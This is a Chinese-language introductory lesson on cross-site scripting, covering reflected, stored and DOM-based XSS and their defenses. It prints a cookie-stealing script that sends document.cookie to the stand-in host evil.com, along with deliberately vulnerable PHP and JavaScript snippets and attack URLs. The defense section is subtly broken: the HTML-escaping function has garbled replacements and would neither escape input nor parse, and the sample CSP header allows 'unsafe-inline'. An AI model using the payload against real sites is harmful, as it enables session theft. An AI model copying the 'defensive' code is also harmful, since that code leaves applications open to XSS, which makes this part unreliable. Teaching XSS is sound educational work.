跨站脚本攻击(XSS)入门
Web安全学习路径 | 模块3 | 课程1
1. 引言
跨站脚本攻击(Cross-Site Scripting,简称XSS)是一种常见的Web安全漏洞。攻击者通过在网页中注入恶意脚本,使其在用户浏览器中执行,从而获取用户信息、劫持用户会话或者修改网页内容。
学习目标: 理解XSS攻击的原理和类型,掌握XSS漏洞的发现和利用方法,学习XSS防御技术。
2. XSS基础知识
2.1 什么是XSS
XSS是一种代码注入攻击,攻击者将恶意JavaScript代码注入到网页中,当其他用户访问这个页面时,恶意代码会在他们的浏览器中执行。这可能导致:
- 窃取用户的Cookie和会话信息
- 劫持用户账号
- 修改页面内容
- 监控用户行为
- 传播蠕虫病毒
2.2 XSS的工作原理
XSS攻击的核心是让浏览器误以为恶意脚本是网站正常的一部分。例如:
// 一个简单的XSS payload
<script>
document.location='http://evil.com/steal.php?cookie='+document.cookie;
</script>
3. XSS攻击类型
3.1 反射型XSS
反射型XSS是最简单的XSS类型,攻击代码从请求URL中的参数反射到网页中。例如:
// 易受攻击的PHP代码
<?php
echo "Welcome, " . $_GET['name'] . "!";
?>
// 攻击URL示例
http://example.com/page.php?name=<script>alert('XSS')</script>
3.2 存储型XSS
存储型XSS将恶意代码永久存储在目标服务器上(如数据库中),当其他用户访问包含此恶意代码的页面时触发攻击。常见于:
- 评论系统
- 留言板
- 个人资料
- 社交媒体帖子
3.3 DOM型XSS
DOM型XSS通过修改页面的DOM环境来触发攻击,不需要与服务器交互。例如:
// 易受攻击的JavaScript代码
var name = document.location.hash.substring(1);
document.write("Welcome, " + name);
// 攻击URL示例
http://example.com/page.html#<script>alert('XSS')</script>
4. XSS防御措施
4.1 输入验证和过滤
对用户输入进行严格的验证和过滤是防御XSS的第一道防线:
// PHP中的HTML转义
$safe_input = htmlspecialchars($_GET['input'], ENT_QUOTES, 'UTF-8');
// JavaScript中的HTML转义
function escapeHtml(unsafe) {
return unsafe
.replace(/&/g, "&")
.replace(//g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
4.2 内容安全策略(CSP)
使用Content Security Policy来限制资源加载和脚本执行:
// 在HTTP响应头中设置CSP
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline'
4.3 HttpOnly Cookie
使用HttpOnly标记保护Cookie不被JavaScript访问:
// 在PHP中设置HttpOnly Cookie
setcookie("session_id", $value, time()+3600, "/", "", true, true);